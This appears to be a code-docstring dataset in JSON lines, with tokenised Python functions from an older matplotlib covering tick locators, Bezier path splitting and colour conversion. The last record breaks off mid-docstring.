{"signature": "def pan(self, numsteps):", "body": "ticks = self()<EOL>numticks = len(ticks)<EOL>vmin, vmax = self.axis.get_view_interval()<EOL>vmin, vmax = mtransforms.nonsingular(vmin, vmax, expander = <NUM_LIT>)<EOL>if numticks><NUM_LIT:2>:<EOL><INDENT>step = numsteps*abs(ticks[<NUM_LIT:0>]-ticks[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>d = abs(vmax-vmin)<EOL>step = numsteps*d/<NUM_LIT><EOL><DEDENT>vmin += step<EOL>vmax += step<EOL>self.axis.set_view_interval(vmin, vmax, ignore=True)<EOL>", "docstring": "Pan numticks (can be positive or negative)", "id": "f17239:c11:m3"}
{"signature": "def zoom(self, direction):", "body": "vmin, vmax = self.axis.get_view_interval()<EOL>vmin, vmax = mtransforms.nonsingular(vmin, vmax, expander = <NUM_LIT>)<EOL>interval = abs(vmax-vmin)<EOL>step = <NUM_LIT:0.1>*interval*direction<EOL>self.axis.set_view_interval(vmin + step, vmax - step, ignore=True)<EOL>", "docstring": "Zoom in/out on axis; if direction is >0 zoom in, else zoom out", "id": "f17239:c11:m4"}
{"signature": "def refresh(self):", "body": "pass<EOL>", "docstring": "refresh internal information based on current lim", "id": "f17239:c11:m5"}
{"signature": "def __init__(self, base, offset):", "body": "self._base = base<EOL>self.offset = offset<EOL>", "docstring": "place ticks on the i-th data points where (i-offset)%base==0", "id": "f17239:c12:m0"}
{"signature": "def __call__(self):", "body": "dmin, dmax = self.axis.get_data_interval()<EOL>return np.arange(dmin + self.offset, dmax+<NUM_LIT:1>, self._base)<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c12:m1"}
{"signature": "def __call__(self):", "body": "if self.nbins is None:<EOL><INDENT>return self.locs<EOL><DEDENT>step = max(int(<NUM_LIT> + len(self.locs) / float(self.nbins)), <NUM_LIT:1>)<EOL>return self.locs[::step]<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c13:m1"}
{"signature": "def __call__(self):", "body": "return []<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c14:m0"}
{"signature": "def __init__(self, numticks = None, presets=None):", "body": "self.numticks = numticks<EOL>if presets is None:<EOL><INDENT>self.presets = {}<EOL><DEDENT>else:<EOL><INDENT>self.presets = presets<EOL><DEDENT>", "docstring": "Use presets to set locs based on lom.  A dict mapping vmin, vmax->locs", "id": "f17239:c15:m0"}
{"signature": "def __call__(self):", "body": "vmin, vmax = self.axis.get_view_interval()<EOL>vmin, vmax = mtransforms.nonsingular(vmin, vmax, expander = <NUM_LIT>)<EOL>if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>if (vmin, vmax) in self.presets:<EOL><INDENT>return self.presets[(vmin, vmax)]<EOL><DEDENT>if self.numticks is None:<EOL><INDENT>self._set_numticks()<EOL><DEDENT>if self.numticks==<NUM_LIT:0>: return []<EOL>ticklocs = np.linspace(vmin, vmax, self.numticks)<EOL>return ticklocs<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c15:m1"}
{"signature": "def view_limits(self, vmin, vmax):", "body": "if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>if vmin==vmax:<EOL><INDENT>vmin-=<NUM_LIT:1><EOL>vmax+=<NUM_LIT:1><EOL><DEDENT>exponent, remainder = divmod(math.log10(vmax - vmin), <NUM_LIT:1>)<EOL>if remainder < <NUM_LIT:0.5>:<EOL><INDENT>exponent -= <NUM_LIT:1><EOL><DEDENT>scale = <NUM_LIT:10>**(-exponent)<EOL>vmin = math.floor(scale*vmin)/scale<EOL>vmax = math.ceil(scale*vmax)/scale<EOL>return mtransforms.nonsingular(vmin, vmax)<EOL>", "docstring": "Try to choose the view limits intelligently", "id": "f17239:c15:m3"}
{"signature": "def lt(self, x):", "body": "d,m = divmod(x, self._base)<EOL>if closeto(m,<NUM_LIT:0>) and not closeto(m/self._base,<NUM_LIT:1>):<EOL><INDENT>return (d-<NUM_LIT:1>)*self._base<EOL><DEDENT>return d*self._base<EOL>", "docstring": "return the largest multiple of base < x", "id": "f17239:c16:m1"}
{"signature": "def le(self, x):", "body": "d,m = divmod(x, self._base)<EOL>if closeto(m/self._base,<NUM_LIT:1>): <EOL><INDENT>return (d+<NUM_LIT:1>)*self._base<EOL><DEDENT>return d*self._base<EOL>", "docstring": "return the largest multiple of base <= x", "id": "f17239:c16:m2"}
{"signature": "def gt(self, x):", "body": "d,m = divmod(x, self._base)<EOL>if closeto(m/self._base,<NUM_LIT:1>):<EOL><INDENT>return (d+<NUM_LIT:2>)*self._base<EOL><DEDENT>return (d+<NUM_LIT:1>)*self._base<EOL>", "docstring": "return the smallest multiple of base > x", "id": "f17239:c16:m3"}
{"signature": "def ge(self, x):", "body": "d,m = divmod(x, self._base)<EOL>if closeto(m,<NUM_LIT:0>) and not closeto(m/self._base,<NUM_LIT:1>):<EOL><INDENT>return d*self._base<EOL><DEDENT>return (d+<NUM_LIT:1>)*self._base<EOL>", "docstring": "return the smallest multiple of base >= x", "id": "f17239:c16:m4"}
{"signature": "def __call__(self):", "body": "vmin, vmax = self.axis.get_view_interval()<EOL>if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>vmin = self._base.ge(vmin)<EOL>base = self._base.get_base()<EOL>n = (vmax - vmin + <NUM_LIT>*base)//base<EOL>locs = vmin + np.arange(n+<NUM_LIT:1>) * base<EOL>return locs<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c17:m1"}
{"signature": "def view_limits(self, dmin, dmax):", "body": "vmin = self._base.le(dmin)<EOL>vmax = self._base.ge(dmax)<EOL>if vmin==vmax:<EOL><INDENT>vmin -=<NUM_LIT:1><EOL>vmax +=<NUM_LIT:1><EOL><DEDENT>return mtransforms.nonsingular(vmin, vmax)<EOL>", "docstring": "Set the view limits to the nearest multiples of base that\ncontain the data", "id": "f17239:c17:m2"}
{"signature": "def __init__(self, base=<NUM_LIT>, subs=[<NUM_LIT:1.0>]):", "body": "self.base(base)<EOL>self.subs(subs)<EOL>self.numticks = <NUM_LIT:15><EOL>", "docstring": "place ticks on the location= base**i*subs[j]", "id": "f17239:c19:m0"}
{"signature": "def base(self,base):", "body": "self._base=base+<NUM_LIT:0.0><EOL>", "docstring": "set the base of the log scaling (major tick every base**i, i interger)", "id": "f17239:c19:m1"}
{"signature": "def subs(self,subs):", "body": "if subs is None:<EOL><INDENT>self._subs = None  <EOL><DEDENT>else:<EOL><INDENT>self._subs = np.asarray(subs)+<NUM_LIT:0.0><EOL><DEDENT>", "docstring": "set the minor ticks the log scaling every base**i*subs[j]", "id": "f17239:c19:m2"}
{"signature": "def __call__(self):", "body": "b=self._base<EOL>vmin, vmax = self.axis.get_view_interval()<EOL>if vmin <= <NUM_LIT:0.0>:<EOL><INDENT>vmin = self.axis.get_minpos()<EOL>if vmin <= <NUM_LIT:0.0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>vmin = math.log(vmin)/math.log(b)<EOL>vmax = math.log(vmax)/math.log(b)<EOL>if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>numdec = math.floor(vmax)-math.ceil(vmin)<EOL>if self._subs is None: <EOL><INDENT>if numdec><NUM_LIT:10>: subs = np.array([<NUM_LIT:1.0>])<EOL>elif numdec><NUM_LIT:6>: subs = np.arange(<NUM_LIT>, b, <NUM_LIT>)<EOL>else: subs = np.arange(<NUM_LIT>, b)<EOL><DEDENT>else:<EOL><INDENT>subs = self._subs<EOL><DEDENT>stride = <NUM_LIT:1><EOL>while numdec/stride+<NUM_LIT:1> > self.numticks:<EOL><INDENT>stride += <NUM_LIT:1><EOL><DEDENT>decades = np.arange(math.floor(vmin),<EOL>math.ceil(vmax)+stride, stride)<EOL>if len(subs) > <NUM_LIT:1> or (len(subs == <NUM_LIT:1>) and subs[<NUM_LIT:0>] != <NUM_LIT:1.0>):<EOL><INDENT>ticklocs = []<EOL>for decadeStart in b**decades:<EOL><INDENT>ticklocs.extend( subs*decadeStart )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ticklocs = b**decades<EOL><DEDENT>return np.array(ticklocs)<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c19:m4"}
{"signature": "def view_limits(self, vmin, vmax):", "body": "if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>minpos = self.axis.get_minpos()<EOL>if minpos<=<NUM_LIT:0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if vmin <= minpos:<EOL><INDENT>vmin = minpos<EOL><DEDENT>if not is_decade(vmin,self._base): vmin = decade_down(vmin,self._base)<EOL>if not is_decade(vmax,self._base): vmax = decade_up(vmax,self._base)<EOL>if vmin==vmax:<EOL><INDENT>vmin = decade_down(vmin,self._base)<EOL>vmax = decade_up(vmax,self._base)<EOL><DEDENT>result = mtransforms.nonsingular(vmin, vmax)<EOL>return result<EOL>", "docstring": "Try to choose the view limits intelligently", "id": "f17239:c19:m5"}
{"signature": "def __init__(self, transform, subs=[<NUM_LIT:1.0>]):", "body": "self._transform = transform<EOL>self._subs = subs<EOL>self.numticks = <NUM_LIT:15><EOL>", "docstring": "place ticks on the location= base**i*subs[j]", "id": "f17239:c20:m0"}
{"signature": "def __call__(self):", "body": "b = self._transform.base<EOL>vmin, vmax = self.axis.get_view_interval()<EOL>vmin, vmax = self._transform.transform((vmin, vmax))<EOL>if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>numdec = math.floor(vmax)-math.ceil(vmin)<EOL>if self._subs is None:<EOL><INDENT>if numdec><NUM_LIT:10>: subs = np.array([<NUM_LIT:1.0>])<EOL>elif numdec><NUM_LIT:6>: subs = np.arange(<NUM_LIT>, b, <NUM_LIT>)<EOL>else: subs = np.arange(<NUM_LIT>, b)<EOL><DEDENT>else:<EOL><INDENT>subs = np.asarray(self._subs)<EOL><DEDENT>stride = <NUM_LIT:1><EOL>while numdec/stride+<NUM_LIT:1> > self.numticks:<EOL><INDENT>stride += <NUM_LIT:1><EOL><DEDENT>decades = np.arange(math.floor(vmin), math.ceil(vmax)+stride, stride)<EOL>if len(subs) > <NUM_LIT:1> or subs[<NUM_LIT:0>] != <NUM_LIT:1.0>:<EOL><INDENT>ticklocs = []<EOL>for decade in decades:<EOL><INDENT>ticklocs.extend(subs * (np.sign(decade) * b ** np.abs(decade)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ticklocs = np.sign(decades) * b ** np.abs(decades)<EOL><DEDENT>return np.array(ticklocs)<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c20:m2"}
{"signature": "def view_limits(self, vmin, vmax):", "body": "b = self._transform.base<EOL>if vmax<vmin:<EOL><INDENT>vmin, vmax = vmax, vmin<EOL><DEDENT>if not is_decade(abs(vmin), b):<EOL><INDENT>if vmin < <NUM_LIT:0>:<EOL><INDENT>vmin = -decade_up(-vmin, b)<EOL><DEDENT>else:<EOL><INDENT>vmin = decade_down(vmin, b)<EOL><DEDENT><DEDENT>if not is_decade(abs(vmax), b):<EOL><INDENT>if vmax < <NUM_LIT:0>:<EOL><INDENT>vmax = -decade_down(-vmax, b)<EOL><DEDENT>else:<EOL><INDENT>vmax = decade_up(vmax, b)<EOL><DEDENT><DEDENT>if vmin == vmax:<EOL><INDENT>if vmin < <NUM_LIT:0>:<EOL><INDENT>vmin = -decade_up(-vmin, b)<EOL>vmax = -decade_down(-vmax, b)<EOL><DEDENT>else:<EOL><INDENT>vmin = decade_down(vmin, b)<EOL>vmax = decade_up(vmax, b)<EOL><DEDENT><DEDENT>result = mtransforms.nonsingular(vmin, vmax)<EOL>return result<EOL>", "docstring": "Try to choose the view limits intelligently", "id": "f17239:c20:m3"}
{"signature": "def __call__(self):", "body": "self.refresh()<EOL>return self._locator()<EOL>", "docstring": "Return the locations of the ticks", "id": "f17239:c22:m1"}
{"signature": "def refresh(self):", "body": "vmin, vmax = self.axis.get_view_interval()<EOL>vmin, vmax = mtransforms.nonsingular(vmin, vmax, expander = <NUM_LIT>)<EOL>d = abs(vmax-vmin)<EOL>self._locator = self.get_locator(d)<EOL>", "docstring": "refresh internal information based on current lim", "id": "f17239:c22:m2"}
{"signature": "def view_limits(self, vmin, vmax):", "body": "d = abs(vmax-vmin)<EOL>self._locator = self.get_locator(d)<EOL>return self._locator.view_limits(vmin, vmax)<EOL>", "docstring": "Try to choose the view limits intelligently", "id": "f17239:c22:m3"}
{"signature": "def get_locator(self, d):", "body": "d = abs(d)<EOL>if d<=<NUM_LIT:0>:<EOL><INDENT>locator = MultipleLocator(<NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>try: ld = math.log10(d)<EOL>except OverflowError:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>fld = math.floor(ld)<EOL>base = <NUM_LIT:10>**fld<EOL>if   d >= <NUM_LIT:5>*base : ticksize = base<EOL>elif d >= <NUM_LIT:2>*base : ticksize = base/<NUM_LIT><EOL>else             : ticksize = base/<NUM_LIT><EOL>locator = MultipleLocator(ticksize)<EOL><DEDENT>return locator<EOL>", "docstring": "pick the best locator based on a distance", "id": "f17239:c22:m4"}
{"signature": "def get_intersection(cx1, cy1, cos_t1, sin_t1,<EOL>cx2, cy2, cos_t2, sin_t2):", "body": "<EOL>line1_rhs = sin_t1 * cx1 - cos_t1 * cy1<EOL>line2_rhs = sin_t2 * cx2 - cos_t2 * cy2<EOL>a, b = sin_t1, -cos_t1<EOL>c, d = sin_t2, -cos_t2<EOL>ad_bc = a*d-b*c<EOL>if ad_bc == <NUM_LIT:0.>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>a_, b_ = d, -b<EOL>c_, d_ = -c, a<EOL>a_, b_, c_, d_ = [k / ad_bc for k in [a_, b_, c_, d_]]<EOL>x = a_* line1_rhs + b_ * line2_rhs<EOL>y = c_* line1_rhs + d_ * line2_rhs<EOL>return x, y<EOL>", "docstring": "return a intersecting point between a line through (cx1, cy1)\n    and having angle t1 and a line through (cx2, cy2) and angle t2.", "id": "f17240:m0"}
{"signature": "def get_normal_points(cx, cy, cos_t, sin_t, length):", "body": "if length == <NUM_LIT:0.>:<EOL><INDENT>return cx, cy, cx, cy<EOL><DEDENT>cos_t1, sin_t1 = sin_t, -cos_t<EOL>cos_t2, sin_t2 = -sin_t, cos_t<EOL>x1, y1 = length*cos_t1 + cx, length*sin_t1 + cy<EOL>x2, y2 = length*cos_t2 + cx, length*sin_t2 + cy<EOL>return x1, y1, x2, y2<EOL>", "docstring": "For a line passing through (*cx*, *cy*) and having a angle *t*,\nreturn locations of the two points located along its perpendicular line at the distance of *length*.", "id": "f17240:m1"}
{"signature": "def split_de_casteljau(beta, t):", "body": "beta = np.asarray(beta)<EOL>beta_list = [beta]<EOL>while True:<EOL><INDENT>beta = _de_casteljau1(beta, t)<EOL>beta_list.append(beta)<EOL>if len(beta) == <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>left_beta = [beta[<NUM_LIT:0>] for beta in beta_list]<EOL>right_beta = [beta[-<NUM_LIT:1>] for beta in reversed(beta_list)]<EOL>return left_beta, right_beta<EOL>", "docstring": "split a bezier segment defined by its controlpoints *beta*\n    into two separate segment divided at *t* and return their control points.", "id": "f17240:m3"}
{"signature": "def find_bezier_t_intersecting_with_closedpath(bezier_point_at_t, inside_closedpath, <EOL>t0=<NUM_LIT:0.>, t1=<NUM_LIT:1.>, tolerence=<NUM_LIT>):", "body": "<EOL>start = bezier_point_at_t(t0)<EOL>end = bezier_point_at_t(t1)<EOL>start_inside = inside_closedpath(start)<EOL>end_inside = inside_closedpath(end)<EOL>if not xor(start_inside, end_inside):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>if (start[<NUM_LIT:0>]-end[<NUM_LIT:0>])**<NUM_LIT:2> + (start[<NUM_LIT:1>]-end[<NUM_LIT:1>])**<NUM_LIT:2> < tolerence**<NUM_LIT:2>:<EOL><INDENT>return t0, t1<EOL><DEDENT>middle_t = <NUM_LIT:0.5>*(t0+t1)<EOL>middle = bezier_point_at_t(middle_t)<EOL>middle_inside = inside_closedpath(middle)<EOL>if xor(start_inside, middle_inside):<EOL><INDENT>t1 = middle_t<EOL>end = middle<EOL>end_inside = middle_inside<EOL><DEDENT>else:<EOL><INDENT>t0 = middle_t<EOL>start = middle<EOL>start_inside = middle_inside<EOL><DEDENT><DEDENT>", "docstring": "Find a parameter t0 and t1 of the given bezier path which\n    bounds the intersecting points with a provided closed\n    path(*inside_closedpath*). Search starts from *t0* and *t1* and it\n    uses a simple bisecting algorithm therefore one of the end point\n    must be inside the path while the orther doesn't. The search stop\n    when |t0-t1| gets smaller than the given tolerence. \n    value for\n\n    - bezier_point_at_t : a function which returns x, y coordinates at *t*\n\n    - inside_closedpath : return True if the point is insed the path", "id": "f17240:m4"}
{"signature": "def split_bezier_intersecting_with_closedpath(bezier,<EOL>inside_closedpath, <EOL>tolerence=<NUM_LIT>):", "body": "bz = BezierSegment(bezier)<EOL>bezier_point_at_t = bz.point_at_t<EOL>t0, t1 = find_bezier_t_intersecting_with_closedpath(bezier_point_at_t,<EOL>inside_closedpath, <EOL>tolerence=tolerence)<EOL>_left, _right = split_de_casteljau(bezier, (t0+t1)/<NUM_LIT>)<EOL>return _left, _right<EOL>", "docstring": "bezier : control points of the bezier segment\ninside_closedpath : a function which returns true if the point is inside the path", "id": "f17240:m5"}
{"signature": "def find_r_to_boundary_of_closedpath(inside_closedpath, xy,<EOL>cos_t, sin_t, <EOL>rmin=<NUM_LIT:0.>, rmax=<NUM_LIT:1.>, tolerence=<NUM_LIT>):", "body": "cx, cy = xy<EOL>def _f(r):<EOL><INDENT>return cos_t*r + cx, sin_t*r + cy<EOL><DEDENT>find_bezier_t_intersecting_with_closedpath(_f, inside_closedpath, <EOL>t0=rmin, t1=rmax, tolerence=tolerence)<EOL>", "docstring": "Find a radius r (centered at *xy*) between *rmin* and *rmax* at\nwhich it intersect with the path.\n\ninside_closedpath : function\ncx, cy : center\ncos_t, sin_t : cosine and sine for the angle\nrmin, rmax :", "id": "f17240:m6"}
{"signature": "def split_path_inout(path, inside, tolerence=<NUM_LIT>, reorder_inout=False):", "body": "path_iter = path.iter_segments()<EOL>ctl_points, command = path_iter.next()<EOL>begin_inside = inside(ctl_points[-<NUM_LIT:2>:]) <EOL>bezier_path = None<EOL>ctl_points_old = ctl_points<EOL>concat = np.concatenate<EOL>iold=<NUM_LIT:0><EOL>i = <NUM_LIT:1><EOL>for ctl_points, command in path_iter:<EOL><INDENT>iold=i<EOL>i += len(ctl_points)/<NUM_LIT:2><EOL>if inside(ctl_points[-<NUM_LIT:2>:]) != begin_inside:<EOL><INDENT>bezier_path = concat([ctl_points_old[-<NUM_LIT:2>:], ctl_points])<EOL>break<EOL><DEDENT>ctl_points_old = ctl_points<EOL><DEDENT>if bezier_path is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>bp = zip(bezier_path[::<NUM_LIT:2>], bezier_path[<NUM_LIT:1>::<NUM_LIT:2>])<EOL>left, right = split_bezier_intersecting_with_closedpath(bp,<EOL>inside,<EOL>tolerence)<EOL>if len(left) == <NUM_LIT:2>:<EOL><INDENT>codes_left = [Path.LINETO]<EOL>codes_right = [Path.MOVETO, Path.LINETO]<EOL><DEDENT>elif len(left) == <NUM_LIT:3>:<EOL><INDENT>codes_left = [Path.CURVE3, Path.CURVE3]<EOL>codes_right = [Path.MOVETO, Path.CURVE3, Path.CURVE3]<EOL><DEDENT>elif len(left) == <NUM_LIT:4>:<EOL><INDENT>codes_left = [Path.CURVE4, Path.CURVE4, Path.CURVE4]<EOL>codes_right = [Path.MOVETO, Path.CURVE4, Path.CURVE4, Path.CURVE4]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError()<EOL><DEDENT>verts_left = left[<NUM_LIT:1>:]<EOL>verts_right = right[:]<EOL>if path.codes is None:<EOL><INDENT>path_in = Path(concat([path.vertices[:i], verts_left]))<EOL>path_out = Path(concat([verts_right, path.vertices[i:]]))<EOL><DEDENT>else:<EOL><INDENT>path_in = Path(concat([path.vertices[:iold], verts_left]),<EOL>concat([path.codes[:iold], codes_left]))<EOL>path_out = Path(concat([verts_right, path.vertices[i:]]),<EOL>concat([codes_right, path.codes[i:]]))<EOL><DEDENT>if reorder_inout and begin_inside == False:<EOL><INDENT>path_in, path_out = path_out, path_in<EOL><DEDENT>return path_in, path_out<EOL>", "docstring": "divide a path into two segment at the point where inside(x, y)\n    becomes False.", "id": "f17240:m7"}
{"signature": "def get_parallels(bezier2, width):", "body": "<EOL>c1x, c1y = bezier2[<NUM_LIT:0>]<EOL>cmx, cmy = bezier2[<NUM_LIT:1>]<EOL>c2x, c2y = bezier2[<NUM_LIT:2>]<EOL>cos_t1, sin_t1 = get_cos_sin(c1x, c1y, cmx, cmy)<EOL>cos_t2, sin_t2 = get_cos_sin(cmx, cmy, c2x, c2y)<EOL>c1x_left, c1y_left, c1x_right, c1y_right =get_normal_points(c1x, c1y, cos_t1, sin_t1, width)<EOL>c2x_left, c2y_left, c2x_right, c2y_right =get_normal_points(c2x, c2y, cos_t2, sin_t2, width)<EOL>cmx_left, cmy_left = get_intersection(c1x_left, c1y_left, cos_t1, sin_t1,<EOL>c2x_left, c2y_left, cos_t2, sin_t2)<EOL>cmx_right, cmy_right = get_intersection(c1x_right, c1y_right, cos_t1, sin_t1,<EOL>c2x_right, c2y_right, cos_t2, sin_t2)<EOL>path_left = [(c1x_left, c1y_left), (cmx_left, cmy_left), (c2x_left, c2y_left)]<EOL>path_right = [(c1x_right, c1y_right), (cmx_right, cmy_right), (c2x_right, c2y_right)]<EOL>return path_left, path_right<EOL>", "docstring": "Given the quadraitc bezier control points *bezier2*, returns\ncontrol points of quadrativ bezier lines roughly parralel to given\none separated by *width*.", "id": "f17240:m10"}
{"signature": "def make_wedged_bezier2(bezier2, length, shrink_factor=<NUM_LIT:0.5>):", "body": "xx1, yy1 = bezier2[<NUM_LIT:2>]<EOL>xx2, yy2 = bezier2[<NUM_LIT:1>]<EOL>xx3, yy3 = bezier2[<NUM_LIT:0>]<EOL>cx, cy = xx3, yy3<EOL>x0, y0 = xx2, yy2<EOL>dist = sqrt((x0-cx)**<NUM_LIT:2> + (y0-cy)**<NUM_LIT:2>)<EOL>cos_t, sin_t = (x0-cx)/dist, (y0-cy)/dist,<EOL>x1, y1, x2, y2 = get_normal_points(cx, cy, cos_t, sin_t, length)<EOL>xx12, yy12 = (xx1+xx2)/<NUM_LIT>, (yy1+yy2)/<NUM_LIT>, <EOL>xx23, yy23 = (xx2+xx3)/<NUM_LIT>, (yy2+yy3)/<NUM_LIT>, <EOL>dist = sqrt((xx12-xx23)**<NUM_LIT:2> + (yy12-yy23)**<NUM_LIT:2>)<EOL>cos_t, sin_t = (xx12-xx23)/dist, (yy12-yy23)/dist,<EOL>xm1, ym1, xm2, ym2 = get_normal_points(xx2, yy2, cos_t, sin_t, length*shrink_factor)<EOL>l_plus = [(x1, y1), (xm1, ym1), (xx1, yy1)]<EOL>l_minus = [(x2, y2), (xm2, ym2), (xx1, yy1)]<EOL>return l_plus, l_minus<EOL>", "docstring": "Being similar to get_parallels, returns\ncontrol points of two quadrativ bezier lines having a width roughly parralel to given\none separated by *width*.", "id": "f17240:m11"}
{"signature": "def find_control_points(c1x, c1y, mmx, mmy, c2x, c2y):", "body": "cmx = <NUM_LIT> * (<NUM_LIT:4>*mmx - (c1x + c2x))<EOL>cmy = <NUM_LIT> * (<NUM_LIT:4>*mmy - (c1y + c2y))<EOL>return [(c1x, c1y), (cmx, cmy), (c2x, c2y)]<EOL>", "docstring": "Find control points of the bezier line throught c1, mm, c2. We\n    simply assume that c1, mm, c2 which have parameteric value 0, 0.5, and 1.", "id": "f17240:m12"}
{"signature": "def make_wedged_bezier2(bezier2, width, w1=<NUM_LIT:1.>, wm=<NUM_LIT:0.5>, w2=<NUM_LIT:0.>):", "body": "<EOL>c1x, c1y = bezier2[<NUM_LIT:0>]<EOL>cmx, cmy = bezier2[<NUM_LIT:1>]<EOL>c3x, c3y = bezier2[<NUM_LIT:2>]<EOL>cos_t1, sin_t1 = get_cos_sin(c1x, c1y, cmx, cmy)<EOL>cos_t2, sin_t2 = get_cos_sin(cmx, cmy, c3x, c3y)<EOL>c1x_left, c1y_left, c1x_right, c1y_right =get_normal_points(c1x, c1y, cos_t1, sin_t1, width*w1)<EOL>c3x_left, c3y_left, c3x_right, c3y_right =get_normal_points(c3x, c3y, cos_t2, sin_t2, width*w2)<EOL>c12x, c12y = (c1x+cmx)*<NUM_LIT>, (c1y+cmy)*<NUM_LIT><EOL>c23x, c23y = (cmx+c3x)*<NUM_LIT>, (cmy+c3y)*<NUM_LIT> <EOL>c123x, c123y = (c12x+c23x)*<NUM_LIT>, (c12y+c23y)*<NUM_LIT><EOL>cos_t123, sin_t123 = get_cos_sin(c12x, c12y, c23x, c23y)<EOL>c123x_left, c123y_left, c123x_right, c123y_right =get_normal_points(c123x, c123y, cos_t123, sin_t123, width*wm)<EOL>path_left = find_control_points(c1x_left, c1y_left,<EOL>c123x_left, c123y_left,<EOL>c3x_left, c3y_left)<EOL>path_right = find_control_points(c1x_right, c1y_right,<EOL>c123x_right, c123y_right,<EOL>c3x_right, c3y_right)<EOL>return path_left, path_right<EOL>", "docstring": "Being similar to get_parallels, returns\ncontrol points of two quadrativ bezier lines having a width roughly parralel to given\none separated by *width*.", "id": "f17240:m13"}
{"signature": "def __init__(self, control_points):", "body": "_o = len(control_points)<EOL>self._orders = np.arange(_o)<EOL>_coeff = BezierSegment._binom_coeff[_o - <NUM_LIT:1>]<EOL>_control_points = np.asarray(control_points)<EOL>xx = _control_points[:,<NUM_LIT:0>]<EOL>yy = _control_points[:,<NUM_LIT:1>]<EOL>self._px = xx * _coeff<EOL>self._py = yy * _coeff<EOL>", "docstring": "*control_points* : location of contol points. It needs have a\n shpae of n * 2, where n is the order of the bezier line. 1<=\n n <= 3 is supported.", "id": "f17240:c0:m0"}
{"signature": "def point_at_t(self, t):", "body": "one_minus_t_powers = np.power(<NUM_LIT:1.>-t, self._orders)[::-<NUM_LIT:1>]<EOL>t_powers = np.power(t, self._orders)<EOL>tt = one_minus_t_powers * t_powers<EOL>_x = sum(tt * self._px)<EOL>_y = sum(tt * self._py)<EOL>return _x, _y<EOL>", "docstring": "evaluate a point at t", "id": "f17240:c0:m1"}
{"signature": "def is_color_like(c):", "body": "try:<EOL><INDENT>colorConverter.to_rgb(c)<EOL>return True<EOL><DEDENT>except ValueError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return *True* if *c* can be converted to *RGB*", "id": "f17241:m0"}
{"signature": "def rgb2hex(rgb):", "body": "return '<STR_LIT>' % tuple([round(val*<NUM_LIT:255>) for val in rgb])<EOL>", "docstring": "Given a len 3 rgb tuple of 0-1 floats, return the hex string", "id": "f17241:m1"}
{"signature": "def hex2color(s):", "body": "if not isinstance(s, str):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if hexColorPattern.match(s) is None:<EOL><INDENT>raise ValueError('<STR_LIT>' % s)<EOL><DEDENT>return tuple([int(n, <NUM_LIT:16>)/<NUM_LIT> for n in (s[<NUM_LIT:1>:<NUM_LIT:3>], s[<NUM_LIT:3>:<NUM_LIT:5>], s[<NUM_LIT:5>:<NUM_LIT:7>])])<EOL>", "docstring": "Take a hex string *s* and return the corresponding rgb 3-tuple\nExample: #efefef -> (0.93725, 0.93725, 0.93725)", "id": "f17241:m2"}
{"signature": "def makeMappingArray(N, data):", "body": "try:<EOL><INDENT>adata = np.array(data)<EOL><DEDENT>except:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>shape = adata.shape<EOL>if len(shape) != <NUM_LIT:2> and shape[<NUM_LIT:1>] != <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>x  = adata[:,<NUM_LIT:0>]<EOL>y0 = adata[:,<NUM_LIT:1>]<EOL>y1 = adata[:,<NUM_LIT:2>]<EOL>if x[<NUM_LIT:0>] != <NUM_LIT:0.> or x[-<NUM_LIT:1>] != <NUM_LIT:1.0>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if np.sometrue(np.sort(x)-x):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>x = x * (N-<NUM_LIT:1>)<EOL>lut = np.zeros((N,), np.float)<EOL>xind = np.arange(float(N))<EOL>ind = np.searchsorted(x, xind)[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>lut[<NUM_LIT:1>:-<NUM_LIT:1>] = ( ((xind[<NUM_LIT:1>:-<NUM_LIT:1>] - x[ind-<NUM_LIT:1>]) / (x[ind] - x[ind-<NUM_LIT:1>]))<EOL>* (y0[ind] - y1[ind-<NUM_LIT:1>]) + y1[ind-<NUM_LIT:1>])<EOL>lut[<NUM_LIT:0>] = y1[<NUM_LIT:0>]<EOL>lut[-<NUM_LIT:1>] = y0[-<NUM_LIT:1>]<EOL>np.clip(lut, <NUM_LIT:0.0>, <NUM_LIT:1.0>)<EOL>return lut<EOL>", "docstring": "Create an *N* -element 1-d lookup table\n\n    *data* represented by a list of x,y0,y1 mapping correspondences.\n    Each element in this list represents how a value between 0 and 1\n    (inclusive) represented by x is mapped to a corresponding value\n    between 0 and 1 (inclusive). The two values of y are to allow\n    for discontinuous mapping functions (say as might be found in a\n    